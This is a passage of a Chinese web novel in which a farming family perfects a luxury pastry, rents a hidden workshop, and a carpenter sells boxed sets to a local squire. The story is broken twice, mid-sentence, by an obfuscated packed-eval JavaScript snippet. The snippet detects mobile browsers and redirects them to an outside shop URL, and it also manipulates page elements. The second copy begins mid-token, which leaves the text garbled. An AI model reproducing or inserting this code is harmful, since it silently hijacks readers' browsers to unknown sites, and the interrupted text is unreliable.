刘栓和刘柱看着那墨迹尚新的契约,心中最后一丝不确定性也消散了。王家做事,太讲究、太敞亮了。连契约都提前拟好了,可见谋划之深、决心之大。 二人郑重地接过笔,端端正正地写下了自己的名字,重重按上了自己的指印。 各自收好契约后,刘栓和刘柱兄弟都处在一种高度亢奋又充满干劲的状态,恨不能立刻连夜开工。 就在刘栓、刘柱已经起身准备告辞时,王杏却轻轻抬手,示意他稍等。 “栓子哥,柱子哥,还有两件事,得提前想好。” 两人立刻停步,重新坐下。 “第一件,是关于那礼盒。”王杏的目光落在刘栓脸上,“盒子做得再精美,若是没有个名头,总归少了点味道。我想着,是不是可以在盒盖上,或者显眼的地方,雕上雅、致、巧、酥四字。” “雅致巧酥?”刘栓低声重复了一遍,眼睛一亮。“我回去就设计,把这四个字嵌到雕花纹饰里去,或者单独用篆体、楷体刻在显眼处,保证又雅致又醒目!” 王杏点点头,这正是她和王佑推敲了许久才定下的名号。 “第二件。”王杏话锋一转,语气更加慎重,“是关于往后制作的地方。” 刘栓和刘柱都凝神细听。 “在家里做,一来地方小,施展不开;二来,人来人往,终究不够隐秘。尤其是这雅致巧酥,用料精细,工艺讲究,更需要一个干净、敞亮、不受打扰的地方。我想请栓子哥和柱子哥帮忙在镇子近郊的乡下,物色一处合适的房子。要求嘛……” 她掰着手指细数:“第一,地方要够大,至少有三四间屋子,最好带个小院,能放下炉灶、案板,也能晾晒些东西。第二,要通风好,不能是阴暗潮湿的地方。第三,位置要偏静些,但不能太不方便,最好离镇上和各村都不算太远。第四,也是最重要的......” 王杏的目光扫过刘栓和刘柱,加重了语气:“这地方,最好有些门道。咱们这营生,尤其是雅致巧酥的路子,暂时不能让太多不相干的人知道,免得惹来不必要的麻烦,或者……被人学了去。” 刘栓和刘柱立刻心领神会,他们心中对王杏的评价,再次拔高。 “杏妹子考虑得是!”刘栓郑重道,“是该有个正经地方。这事儿交给我们俩,保证尽快找到合心意的。” 刘柱也连连点头:“包在我身上,我知道几个村子有闲置的,主人都在外地或者镇上,价格便宜,人也靠得住!” “那就拜托二位大哥了。”王杏微微欠身,“租金方面,只要地方合适,贵一些也无妨。将来这地方,可能就是咱们的根基所在了。” 事情交代完毕,夜色已深。刘栓兄弟俩这才带着满脑子的计划和满腔的热血告辞离去。 王杏关上院门,走回堂屋,看着桌上那盏即将燃尽的油灯和契约,轻轻吐出一口悠长的气。 她的后背其实早已被汗水浸湿,刚才那番应对,几乎耗尽了她的心力。 她转身走进里屋,中途父母完全听不懂他们所讲,早已将主场交给她,这会已经入睡。不过王佑还没睡,正睁着乌溜溜的眼睛看着她。 “大姐,你真厉害。”王佑轻声说,眼中是毫不掩饰的赞许。 王杏走过去,坐在弟弟小床边,握住他的手,声音有些颤抖:“佑弟,姐心里……其实很怕。怕说错话,怕事情不成,怕……” “不怕。”王佑反握住姐姐的手,声音虽稚嫩,却异常沉稳,“大姐,栓子哥和柱子哥,都被你说服了,事情都在按照咱们想的计划走。你是咱们家的掌柜,以后会越来越好的。” 王杏眼眶一热,用力点了点头。 姐弟俩又低声商量了一会儿细节,才各自歇下。 32. 精品成本,高得吓人 天还未亮,王家小院便比往日更加热闹。除了惯常的灶火光亮和巧酥焦香,小院外还多了几道带着拘谨和好奇的身影。 王老实说定的那几户邻居,王老憨夫妇、王石头夫妇,还有独居的孙寡妇都早早地来了,他们脸上带着几分忐忑和掩饰不住的期盼。 “老实大哥,嫂子,杏丫头,打扰了。”王老憨搓着手,憨厚的脸上堆着笑。 李氏连忙喊他们进院子。 王杏也放下手里的活计,迎了出来,脸上带着温和的笑意:“老憨叔,老憨婶,石头哥,石头嫂子,孙嫂子,你们都来了。地方小,大家将就一下。” 小院一下子显得有些拥挤,王老实简单说了几句,大意是大家一起做,一起挣钱,但规矩得守,质量得保证。众人都连连点头,没有半点异议。 王杏成了临时的师傅,她将昨晚提前按比例配好的混合原料分发给每人一小份。 她先演示了一遍和面的手法:“水要一点点加,顺着一个方向搅,感觉像这样……对,不要太稀,也不要太干,能成团又不粘手就行。” 几位邻居学得很认真,尤其是孙寡妇、王老憨媳妇和王石头媳妇,本就是操持家务的好手,上手很快。王老憨和王石头手脚粗些,但胜在力气大,揉面揉得格外卖力。 接着是压模,王杏在一旁指导着力度和脱模的技巧:“力气要匀,轻轻压下去,再轻轻磕出来,别用蛮力,小心把模子磕坏了,别把花纹弄糊了。” 刚开始难免手生,有人压出的饼子一边厚一边薄,有人脱模时粘连破损。王杏耐心纠正,鼓励大家多试几次。动作慢慢熟练,一个个形状规整、带着简单吉祥图案的面胚在案板上排成了行。 烙制环节,王杏没有让他们直接上手,那需要更精细的火候控制。她让母亲主要负责烙制,邻居们则帮着递送饼胚、翻看火色、学习观察。 小小的灶间热气腾腾,弥漫着熟悉的焦香,却比往日多了几分蓬勃的生气。王老憨看着自己亲手压出、烙得金黄的第一个成品,黝黑的脸上笑开了花,小心翼翼地将它单独放在一边,仿佛那是什么了不得的宝贝。王石头媳妇则小声跟孙寡妇交流着揉面的心得。 人多力量大,在众人齐心协作下,原本王杏和李氏需要忙碌一个半时辰,一个时辰出头就已经全部制作完成,整齐地码放在几个垫着干净粗布的竹篮里。 这时,刘柱也准时到了。他看到院里多了这么多人,先是一愣,随即明白过来,脸上露出赞赏的笑容:“王叔,杏妹子,动作真快,这就上手了?” 王杏点点头,将几个竹篮交给他:“柱子哥,今天的两百个,都在这儿了。他们刚学,有些可能没那么规整,多担待。” 刘柱粗略一看,虽然有些饼子厚薄略有差异,但整体品相都不差,远远超过他的预期。 “挺好,熟能生巧,慢慢来。” 他利落地将饼子装进自己的大背篓,跟几位新加入村民简单打了声招呼,又对王杏道:“杏妹子,我堂哥昨晚熬夜赶工,说今天下午能把礼盒和第一批精细模具的样品拿过来看看。地方我连夜打听,有个好消息,镇子西头靠河湾那边有处老院子,主人搬去县城了,托亲戚照看,正要出租,下午我带你们去看看?” “好,辛苦柱子哥。”王杏应下。 刘柱背着沉甸甸的背篓,心满意足地走了。 邻居们也陆续告辞,带着第一次参与的兴奋和按约定先给了每人五个铜板的辛苦钱。 李氏和王杏将家里那个藏钱的小木箱再次请了出来。王杏小心翼翼地清点着里面的铜钱。 “娘,咱们手里能动的,除了要留下未来五天做巧酥的本钱,还有日常开销,能用在买精料上的……不多了。” 李氏看着那为数不多的钱,脸上满是担忧:“杏儿,这……这能行吗?万一做不好,或者卖不掉……” “娘,咱们得试试,舍不得孩子套不着狼。” 最终,母女俩商定,在不影响低端生意的极限下,总共六百文,就是他们这次买精料的全部本金。 早饭过后,王老实揣着六百文去了镇上。他的目标很明确,买最好的原料,但每样只能买一点点。 他先去了常去的粮行,花钱三百文要了一斤二两最细白的头道面粉,价格比寻常面粉贵了两倍有余。又去杂货铺,花费一百文挑了一两颜色最正、颗粒饱满的芝麻,还有几粒颜色清亮的□□糖。路过干货铺,犹豫再三,还是进去称了一两不到的核桃仁,五十文又没了。最后一百五十文,去油坊打了二两最清亮的菜籽油。 当他将这几样精料提回家时,李氏和王杏看着那少得可怜的分量,都暗暗咋舌。这点面粉,这点芝麻核桃,这点糖和油……算下来,满打满算,也就够做出五十多个的量,每一个的成本,都高得吓人! “他爹,这……这也太少了。”李氏摸着那细腻的面粉,感觉心都在滴血。 王老实闷声道:“佑儿说了,咱们要的是样,不是量。东西少,才更要仔细。” 王杏深吸一口气:“爹,娘,咱们开始吧。” 接下来的整个上午,王家灶间变成了一个实验室。王杏则小心翼翼地处理辅料:芝麻用小火慢炒到香气四溢,然后放在干净的石臼里,由王佑帮着,用木杵一下一下,极其耐心地碾磨成细粉,力求没有一点粗粒;李氏用刀背细细敲碎核桃仁,再慢慢切剁成均匀的细小颗粒;王老实用布包着□□糖,在干净的青石上耐心敲成细碎的糖粉。 和面时,母女俩更是前所未有的小心。温水化开一点点糖粉,加入面粉中,再缓缓倒入碾好的芝麻粉、核桃碎,以及融化后晾凉的少许熟油。她不用大力揉搓,而是用指尖轻轻拨拢、折叠,让各种材料均匀混合,又不至于起筋影响酥脆。 王杏问:“面要和到什么程度?” 王佑说:“像最软的耳垂,光滑不粘手。” 王杏一遍遍感受,调整着水粉比例。 面剂子分得极小,只有寻常巧酥的一半大。填入福字模具中,王杏屏住呼吸,力度轻柔均匀,确保每个凹槽都填满,脱模时动作极缓,生怕破坏了那纤毫毕现的纹路。 烙制更是关键中的关键。小砖炉的火被控制得极其温和稳定。王杏手持小铁锅,耐心地预热、抹上薄如蝉翼的一层油,然后将那小巧精致的饼胚轻轻放入。她几乎是用眼睛和鼻子在‘听’火候,不停地转动锅子,让饼胚均匀受热。空气中弥漫的不再是往日那种焦香,而是一种混合着芝麻、核桃和精面本身更加清雅细腻的烘焙香气。 当第一个‘雅致巧酥’出锅时,全家人都围了上来。 那巧酥只有孩童掌心大小,却厚薄均匀,通体呈现均匀的浅金黄色,边缘微带焦黄。福字图案清晰饱满,笔画间的空隙干净利落。拿在手里,分量轻盈,触感酥脆。 王杏小心地掰开一角,断面可以看到细密的层次和均匀分布的芝麻核桃碎屑。她先递给母亲,李氏尝了一小口,眼睛瞪大了:“这……这口感,跟咱们平时做得完全不一样!” 王老实也尝了一口,闷声说了句:“好吃。” 王佑接过姐姐递来的一小块,放进嘴里细细品咂。酥、香、脆,甜度克制,核桃与芝麻的焦香融合得恰到好处,口感丰富而不腻。虽然离他想象中的‘极品’还有距离,但在这个时代、这个小镇的背景下,这已经是一款足够惊艳的产品了! 王佑肯定地点头:“成了,大姐,就是这个味道和样子,咱们照着这个标准做。” 王杏心中一块大石落地,脸上绽放出喜悦的笑容。但随即,她又冷静下来:“还不够。火候还可以更匀,颜色还可以更漂亮一点。咱们再试几个,把最好的状态找出来。” 接下来的时间,王家灶间里,每一次压模、每一次烙制,都变得更加专注、更加精益求精。火候的大小、烙制的时间,都被王杏一点点调整、用王佑教的简单符号记录。 每一个不完美的试验品,都被仔细品尝、分析原因,然后成为下一锅的借鉴。 最终,在消耗了将近一半的精料后,王杏终于掌握了最佳状态的一套‘心法’,烙出两个完美成品。 下午,刘柱和刘栓几乎同时到达王家。刘柱一脸喜气,背上的大背篓轻飘飘的。刘栓手里小心翼翼地捧着一个用蓝布包裹的方正物件,另一只手提着个小布包,脸上带着熬夜后的疲惫,但眼神却异常明亮。 “王叔,婶子,杏妹子。两百个,一个不剩,全卖光了!叔伯婶子做的样子虽然稍差点,但味道不差,买的人都说好。我看啊,明天再加点量都行!” 这个消息让王佑心头一松,基础盘的稳定和扩张,是后续所有计划的底气。 刘栓则显得沉稳许多,他将蓝布包裹放在堂屋桌上,轻轻揭开。里面露出一个约莫一尺见方、两寸来高的木质礼盒。 只一眼,就让王杏和李氏屏住了呼吸。 礼盒用的是浅色的榉木,打磨得极其光滑温润,泛着柔和的哑光。盒盖并非平直,而是略带弧面,边缘雕着一圈极其精细的缠枝莲纹,线条流畅灵动,深浅得宜,既显繁复又不觉冗杂。盒盖正中,是四个娟秀的‘雅致巧酥’楷体字,字周围衬着淡淡的云纹,雅致之气扑面而来。 刘栓轻轻打开盒盖,内部的精巧更是让人惊叹。盒内用薄而均匀的樟木片隔成了四个大小不一的扇形格子,每个格子底部都精心镶嵌着一层剪裁妥帖的靛青色细棉布,既柔软又能吸潮。盒盖内侧,甚至也用同样的棉布衬了一层,边缘还用同色的丝线锁了细密的边。 刘栓介绍着,语气带着匠人的自豪:“这是试做的样品,正式的,可以做得更小些,更精巧,木材也可以用更好的。关键是这个分格和衬布,能保证点心不互相磕碰,也显得干净体面。” 他又打开带来的小布包,里面是黄杨木雕刻的精细模具。字体立体感十足,比之前刘木匠刻的还要精细些,尤其注重线条的流畅和吉祥寓意的神韵。 “杏丫头,你看看,合不合用?”刘栓目光灼灼地看着王杏。 王杏心中震撼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960775|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不已。刘栓的手艺远超她的预期。这礼盒和模具,已经不仅仅是一件容器或工具,它们本身就是艺术品,足以让任何放入其中的东西,身价倍增。 “栓子哥,你这手艺……真厉害!”王杏由衷赞叹。 刘栓笑了笑,眼神依旧看着王杏。 王杏会意,转身走进里屋,片刻后,双手捧着那个垫着干荷叶的小竹篮走了出来。篮子里,正是那两枚完美成品。 她轻轻掀开盖在篮子上的一块干净白布。 刹那间,刘栓和刘柱的目光都被牢牢吸住了。 竹篮里,那两枚小巧玲珑的巧酥,呈现出一种均匀诱人的浅金黄色,表面泛着细腻的光泽,福字图案清晰得仿佛印上去的一般。边缘微微的焦黄更添几分食欲,还有那散发着一股清雅而醇厚的香气。 视觉、嗅觉的双重冲击,让见多识广的刘栓也一时失语。他想象中的‘精品’,应该是样子好看、用料扎实,但眼前这两枚巧酥所呈现出的那种精致完全超出了他的预料。 王杏小心翼翼地用干净竹夹夹起巧酥,轻轻放入刘栓带来的那个榉木礼盒中。靛青色的棉布衬底,衬托出点心的金黄;精致的分格,让两枚巧酥如珍宝般被妥帖安放;盖上雕花盒盖的瞬间,雅致巧酥四个字与盒内的实物交相辉映。 “我的天爷……”刘柱在一旁看得目瞪口呆,喃喃道,“这……这玩意,别说五百文,我看……六百文、七百文都有人买!” 刘栓猛地抬起头,眼中精光四射,不过他毕竟是经验丰富的匠人,激动过后,立刻进入了更细致的推敲状态。 他指着礼盒:“正式做的,尺寸可以再缩小一成,显得更精巧。木材我想换一种带淡香的,比如香樟木,成本稍高,但开盒有淡香,更显档次。衬布颜色,或许可以试试月白或秋香色,与巧酥的金黄对比更柔和。” “嗯。”王杏认真点头。 “好,杏丫头,你这边抓紧微调,我回去就按刚才说的改方案,做几个更精致的样品盒出来。陈老爷那边,我明天一早就去递帖子......” 送走刘栓,王杏沉思片刻,叫住了正准备离开的刘柱:“柱子哥,时辰还早,要不咱们现在就去看看你说的那个河湾院子?” “好啊,我正想说呢,那人应该还在,现在去正好。” 王杏转向王老实:“爹一起去吧?” 又看了看安静坐在门槛上的王佑:“佑弟也去。” 王老实点点头,起身拍了拍衣角的灰。 四人一边走,刘柱一边介绍:“那院子就在河湾北岸,离镇子也就一里路,不算远。主人家姓赵,前年搬去县城儿子那里住了,院子就托给镇上一个远房表亲照看,那表亲在镇上开了个小茶馆,正愁这院子空着可惜。” 走了约莫两刻钟,河湾已近在眼前。这一带地势平坦,河水在此拐了个大弯,形成了一片相对肥沃的冲积地。岸边零零散散住了十来户人家,大多是农户,也有两户像是做渡船生意的。 刘柱指着一处青砖院墙:“就是那家。” 那院子确实不小,青砖垒的围墙一人多高,院门是厚重的木板门,看起来比王家那土坯院墙气派得多。刘柱上前叩门,不一会儿,一个四十多岁、穿着半旧绸衫的精瘦男人开了门,正是赵家在镇上的表亲,姓胡。 “胡掌柜,打扰了,我带人来看看院子。”刘柱脸上堆着笑。 胡掌柜打量了一下王老实几人,见是寻常农户打扮,眼中闪过一丝不易察觉的轻慢,但面上还算客气:“进来看看吧。” 院子比从外面看起来还要大些。正房两间,东西厢房各一间,虽然有些旧了,但房屋结构完好,青砖铺地,门窗也还齐整。院中有一口井,井台干净,井水清澈。后院还有一块不小的空地,长满了杂草。 “地方怎么样?”胡掌柜背着手问,“这院子可是好地方,离镇子近,交通方便,水源也好。要不是我表哥一家去了县城,断不会出租的。” 王老实和王杏在院子里转着看,心里有些意动,王佑眉头却微微皱了起来。 他拉着王杏的衣角,等走到后院无人处时,指着外面低声音说:“大姐,你看。这里人太多了,咱们做的东西,特别是那些精细的,人多眼杂,不好保密。” 王杏顺着所指方向看去,隔着不到十丈远,就是另一户人家的后墙。再往四周看,这院子虽然独门独户,但前后左右都有人家,最近的邻居家厨房的烟囱看得清清楚楚。 她不动声色地回到前院,对胡掌柜笑了笑:“院子是挺好,就是……我们还得回去商量商量。” 离开河湾院子,走在回去的路上,刘柱有些急切:“杏妹子,王叔,这院子多好啊!青砖大瓦的,还有井……” 王杏轻轻摇头:“柱子哥,院子是好,但不太适合咱们。你想想,咱们做的是吃食生意,都是独门的方子。那地方左邻右舍太近,人来人往的,不方便。” 刘柱愣了一下,随即拍了下脑门:“是了是了,还是杏妹子想得周到!” 33. 基地落户松岗,刘栓火力全开 陆续两天时间,王家继续着日常的节奏。低端巧酥生意在刘柱的打理下,已经稳定在了每日两百五十个左右,参与制作的邻居们手艺也越来越娴熟,每天都能多挣上十余个铜板,个个干劲十足。 而高端线的准备,则在同步紧锣密鼓地进行。 第三天下午,刘栓再次来到王家。这次他带来的,是三个大小、形制各异的礼盒样品。 当他一一打开时,连见上次那个榉木盒的王杏,也再次被惊艳。 第一个盒子最小,只有巴掌大,方正端庄,用的是一种泛着淡淡黄晕的香樟木边角料,盒盖上浮雕着福禄寿三星的祥云图案,线条圆润流畅,人物神态慈和。打开后,内分三格,衬着月白色的细棉布。 第二个盒子稍大,长方形,木料换成了纹理细腻的枣木,颜色深红温润。盒盖上是五个形态各异的篆体‘福’字,内分五格,衬布换成了秋香色,显得古朴雅致。 第三个盒子最是精巧,圆形,如月饼盒般,用的竟是打磨得极薄的竹片与木料结合,盒盖上镂空雕刻着平安如意锁的图案,内分四格,衬着淡青色的绢纱,朦胧雅致。 每个盒子的左上方雕刻着微小的雅致巧酥四字。 “栓子哥,你这……真是巧夺天工!”王杏抚摸着那竹木圆盒,爱不释手。 刘栓脸上带着疲惫却满足地笑:“我想着,不同的寓意,配不同的盒型、不同的木料、不同的衬色,才更显心思。杏丫头,你看看,哪款最合心意?或者,咱们可以都做,让客人有的选。” “栓子哥,我觉得都好,咱们可以都做,不过眼下第一批,先用福禄寿和五福临门的盒子,圆形的这个……先留着,等时机再考虑推出。” “就按你说的办,我回去就准备木料,正式做一批出来。你这边……” 王杏转身,从里屋捧出一个竹篮。竹篮里垫着干净的干荷叶,上面整整齐齐码放着十一枚巧酥。 刘栓小心翼翼地拿起一枚寿字巧酥,对着光细看。饼身色泽均匀,金黄中泛着温暖的焦糖色,图案清晰得如同微雕。凑近闻,是芝麻、核桃与精面混合后烘烤出的醇厚香气,甜度极淡,却更显食材本味。 刘栓眼中光芒大盛:“有这样的东西,配上这样的盒子,我敢说,在咱们整个永丰县,都找不出第二份!” 合作双方对彼此的成果都极为满意,信心空前高涨。 然而,刘柱这几天几乎跑断了腿,把镇子周围十里八乡符合条件的空院子、偏屋问了个遍。不是太破败,就是位置太偏交通不便,要么就是主人难缠、租金奇高。 直到第五天下午,刘柱风尘仆仆地冲进王家小院,脸上是压抑不住的兴奋:“找到了,王叔,杏妹子,这次绝对符合要求!” 他说的院子在镇子东南方向,离镇约两里,已经出了主要聚居区,坐落在一个叫做松岗的小土坡下。院子原是镇上一位老秀才晚年静修读书的地方,老秀才三年前过世,儿女都在府城,院子便一直空着,由村里一个远房侄儿照看。 王家人再次出动。这次同行的除了王杏、王老实、王佑,刘栓已经提前到了,他想亲眼看看可能作为生产基地的地方。 松岗确实偏僻。沿着一条土路走到底,一片竹林掩映后,露出了青灰色的院墙,院子比河湾那个还大上不少。正如刘柱所说,周围极为安静。背后是长满松树的小土坡,左侧是一片菜地,如今荒着,右侧和前方都是竹林,百步之外才能看到其他农舍的屋顶。 推开院门进去,院子方正,青砖铺地,角落里一棵老桂花树,树下石桌石凳。正房一间,东厢房两间,西厢房一间加一个灶间。后院还有一块空地,一口井。 王佑在院子里慢慢走了一圈,终于露出了满意的神色。 “这院子,租金多少?”王杏问刘柱。 刘柱脸上露出一丝难色:“好是好,就是离镇上稍微有些远,租金……还要八百文一个月,而且……要求至少租两年。” 王杏心中也快速盘算:低端生意每日大约二百五十文,一个月满打满算七千五百文,但其中要扣除原料成本、给邻居的工钱、自家开销,能攒下的其实有限。高端线还没开张,前景虽好,但投入也大。八百文一个月的固定支出,压力不小。 刘柱见状,忙道:“我跟那侄儿磨了半天嘴皮子,他松口说,如果一次租三年,可以降到五百文一个月。但是……得交两个月租金做押,而且租金要季付。” 押金两个月,加上季付租金就是两千五百文。对于刚刚把大部分流动资金投入高端样品制备的王家来说,这是一笔巨款! 王杏抿着唇,看向父亲。王老实沉默地抽着旱烟,眉头深锁。 院子里一时间安静下来,只有风吹过竹林的沙沙声。 就在这时,一直静静观察着院子的刘栓忽然开口:“杏丫头,王叔,可是为租金发愁?” 王杏苦笑一下,点了点头:“不瞒栓子哥,家里现钱确实不凑手。精料钱刚支出去一大笔,低端赚的又要周转,又要备料,一时半会……” 刘栓摆摆手,打断了王杏的话。 “这院子,确实是个好地方。清净,隐蔽,适合做咱们的营生。错过了,怕是不好再找。” 他顿了顿,似乎下定了决心:“这样,我先替你们把第一季租金和押金垫上。两千五百文,我出。” 王杏急道:“栓子哥,这怎么行,哪能再让你垫钱……” 刘栓看着王杏,眼神认真:“杏丫头,你听我说完。这两千五百文,你们可以在半年内还给我。从第二季度起,租金由你们王家自己出。这院子以我的名义去租,对外也好说话些。你们家专心做东西,不必为这些杂事分心。而且……” 他话锋一转,语气更深:“咱们现在是绑在一根绳上的蚂蚱。高端线成了,咱们三家都得利。这院子,是咱们成败的关键一步。我不能看着它卡在银钱这点小事上。” 王佑站在一旁,听着刘栓这番话,心中微动,这是一个双赢的提议。 王杏显然也听懂了其中的关节:“六个月内,两千五百文,我们一定如数奉还。只是要辛苦你,以你的名义去签这租契了。” 刘栓拍了拍手:“那这事就这么定了,柱子,你现在就带我去找那照看的人,咱们今天就把契约定下来!” 刘柱在一旁早已喜形于色,连连点头:“好嘞!哥,杏妹子,王叔,咱这就去了啊!” 看着刘栓兄弟匆匆离去的背影,王家人站在静谧的松岗小院里,心中百感交集。 院子找到了,高端样品齐备了,合作盟友可靠,一切都已准备就绪。 乡绅聚会前一天的巳时初刻,刘栓换上了一身他最体面的青布长衫。头发仔细梳过,用一根打磨光滑的木簪束起。左手提着一个用靛蓝色土布精心包裹的长方形礼盒。 站在陈府那气派的黑漆大门前,刘栓深吸了一口气,压下心头忐忑。陈府坐落在镇子东头最好的地段,高墙青瓦,门楣上悬着‘耕读传家’的匾额,虽不比周府奢华,却自有一股书卷沉淀的威严。 他上前,对守门的青衣小厮拱手,递上早已准备好的名帖和一小串铜钱:“劳烦小哥通禀,小民刘栓,在镇上经营木匠铺子,前些日子递了拜帖,特来拜见陈老爷,有雅物呈上。” 小厮接过名帖和铜钱,掂了掂,脸上露出些许笑意:“等着。” 约莫一盏茶的功夫,小厮回来:“老爷在偏厅花房见你,跟我来。” 刘栓顿时心中一喜。 穿过两道月亮门,绕过影壁,眼前豁然开朗。一个小巧精致的院落,几丛翠竹,数盆应季花卉正开得鲜艳。花房临水而建,四面轩窗,里面一位穿着藏青色绸缎直裰、年约五旬、面容清癯的老者,正坐在藤椅上手捧一卷书。 “老爷,刘栓带到。”小厮禀报后便退了出去。 刘栓连忙上前几步,在门槛外便恭恭敬敬地深揖一礼:“小民刘栓,见过陈老爷。” 陈老爷,名士诚,放下书卷,目光平和地扫过刘栓,在他手中之物上略微停顿:“你的帖子我看了,说有雅物献鉴?坐吧。” “谢陈老爷赐座。”刘栓半个屁股挨着下首的凳子坐下,腰背挺得笔直,双手将礼盒小心放在身旁的矮几上。 刘栓开口,语气不卑不亢:“小民在镇上开个小小木匠铺,平日蒙老爷们关照,接些零活糊口。前些日子,机缘巧合,得了一件新奇物事,思来想去,咱们这镇上,唯有陈老爷您这般风雅、见识广博的长者,方能品鉴其中妙处。故冒昧求见,不敢称献,只望老爷您闲暇时看一眼,指点一二,便是小民的造化了。” 陈士诚抚须的手微微一顿,眼中掠过一丝感兴趣的神色:“哦?你一个木匠,能得什么新奇物事?莫非是木器巧件?” 刘栓见引起了兴趣,心中一定,脸上却露出恰到好处的为难和神秘:“回陈老爷话,此物……说来有些特别。它并非单纯的木器,而是木与食相合,雅与巧相济的一件雅品。小民嘴笨,怕是说不好,可否容小民斗胆,请老爷亲眼一观?” 陈士诚果然被勾起了好奇心,坐直了些身子:“这倒有些意思,拿来瞧瞧。” “是。”刘栓应声,起身郑重地解开那个大布包,露出了里面那个枣木礼盒。 当礼盒完全展现时,陈士诚的眼睛明显亮了一下。 那枣木盒子颜色深红温润,打磨得光可鉴人。盒盖上,五个形态各异、线条流畅的篆体福字雕工精湛,寓意吉祥。 刘栓轻轻打开盒盖。 五枚小巧精致的金色巧酥,分别是寿、富、康、德、善五字,安然躺在秋香色的衬布上,与深红的枣木盒、吉祥的雕花相映成趣。视觉上的和谐、寓意上的圆满,构成了一幅令人愉悦的画面。 只见那点心不过孩童掌心大小,却通体呈现出一种均匀温润的浅金色,表面光泽细腻,绝无寻常点心的油腻之感。五枚巧酥上笔画清晰,个个笔力圆润、结构饱满,连转折处的力道都仿佛能感受到。边缘微微的焦黄,非但不显粗陋,反添几分烘烤后的暖意和食欲,更有一股醇香气息幽幽飘散开来。 陈士诚也是见过世面的,镇上五味斋的点心他没少吃,府城带回的糕点也尝过。但眼前这五枚点心所呈现的精致、干净和那种含蓄的雅气,却是头一回见。它不像吃食,倒像件把玩的小物件。 “这是……点心?”陈士诚有些不确定地问。 “回陈老爷,正是。”刘栓语气肯定,又带着几分自豪,“此物名曰雅致巧酥。名字俗了些,但食材却不俗。乃是小民一位世交晚辈家传的手艺。他们祖上曾在京城点心铺做过师厨,融汇南北技法,传下这方子。平日里绝不外做,只逢年过节自家享用,取个吉祥寓意。” 他顿了顿,观察着陈诚的神色,继续道:“此物,皆取上等头道白面、精研芝麻、野生核桃碎,佐以坎下城所产冰糖,以古法烘烤而成。酥脆适口,甜淡相宜,最是适合佐茶清谈,或作吉祥伴手之礼。” 陈士诚听得入神,尤其是京城做过师厨、祖传手艺、吉祥寓意这几个词,挠到了他的痒处。 “木与食合,盒与酥配。”刘栓的声音再度适时响起,带着匠人特有的认真,“这礼盒,是小民亲手选用上等枣木,仿古礼器形制。不求奢华,但求一个雅字,一个巧字,一个吉字。点心是古法手作,礼盒是匠心打造。两者相合,方能称一句雅致巧酥,方敢呈于陈老爷案前。” 他退后一步,再次躬身:“小民愚见,听闻明日周老爷府上高朋满座,来人皆是有头有脸的雅士。陈老爷赴宴时,可赠予知交作为新奇伴手,既不落俗套,又暗合吉祥雅趣,或许……或许能添几分谈资与喜气。当然,此乃小民妄自揣度,一切还需陈老爷定夺。” 陈士诚没说话。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960776|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他站起身,仔细端详着那礼盒。手指拂过枣木盒上精美的雕花,又轻轻拿起一枚德字巧酥,掰下一小块,放入口中。 酥、香、脆。甜味极淡,更多的是芝麻与核桃的醇香和面粉烘烤后的本味。口感细腻,毫无渣感,与他吃过的任何点心都不同。 确实很……雅致。 更重要的是,这整套东西所呈现出的心思,无一不显示出背后的用心和……潜力。 陈士诚慢慢咀嚼着,目光在礼盒和巧酥之间游移。良久,他缓缓放下手中的残屑,拍了拍手,脸上露出一丝笑容。 “刘木匠。”陈老爷开口,语气比方才温和了许多,“你……有心了。” 刘栓心中狂喜,但面上依旧恭谨:“陈老爷谬赞,小民惶恐。只要老爷不嫌粗陋,便是这物件的造化了。” “粗陋?”陈士诚摇头,“若是此物算粗陋,那五味斋的点心便只能喂猪了。” 他坐回藤椅,手指轻轻敲击着扶手,显然在思索。片刻后,他道:“这东西,有点意思。还有其他款式?” “除了这五福临门礼盒,还有福禄寿三星礼盒,以及平安如意礼盒,共三款。图案、木料、衬色皆有不同,寓意各异。”刘栓连忙回答。 “嗯。”陈士诚点点头,“这样,五福临门,你给我备……五盒。福禄寿的,备三盒。平安如意,也备两盒。凑个十盒整数。可能办到?” 刘栓心脏砰砰直跳,强压激动,谨慎问道:“不知陈老爷何时需要?” 陈士诚道:“明日午时前,送至府上,可能来得及?” 刘栓脑中飞速计算,王家那边全力赶工,自己早已备好礼盒……时间完全来得及! 他面露难色,一咬牙,躬身道:“承蒙陈老爷看重,小民定当说服世交赶工,明日午时前,必定准时奉上!” 陈士诚满意点头:“东西要好,与今日所见,不可有丝毫差别。” “请陈老爷放心,绝无差别!”刘栓斩钉截铁。 “至于价钱……”陈士诚又补充了一句。 刘栓的心提到了嗓子眼。 陈士诚看着他:“你说个价吧。” 刘栓深吸一口气,按照与王杏商议好的说辞,清晰而平稳地说道:“此物用料考究,手工繁复,耗时极长。这枣木五福盒配五枚巧酥,作价六百零八文一盒。福禄寿盒与平安如意盒,因木料、雕工略有差异,作价五百六十六文与五百八十八文。陈老爷一次要十盒,小民斗胆做主,愿以每盒五百文结算,十盒共计五两银子,不知老爷意下如何?” 这个数字报出来,连刘栓自己都觉得有些晕眩。他面上丝毫未露,眼神坦荡而恭敬地看着陈士诚,仿佛报出的只是一个再合理不过的公道价。 陈士诚没有立刻回答,而是端起手边的茶盏,轻轻呷了一口。盏盖与杯沿碰撞,发出清脆的细微声响,在安静的花房里格外清晰。 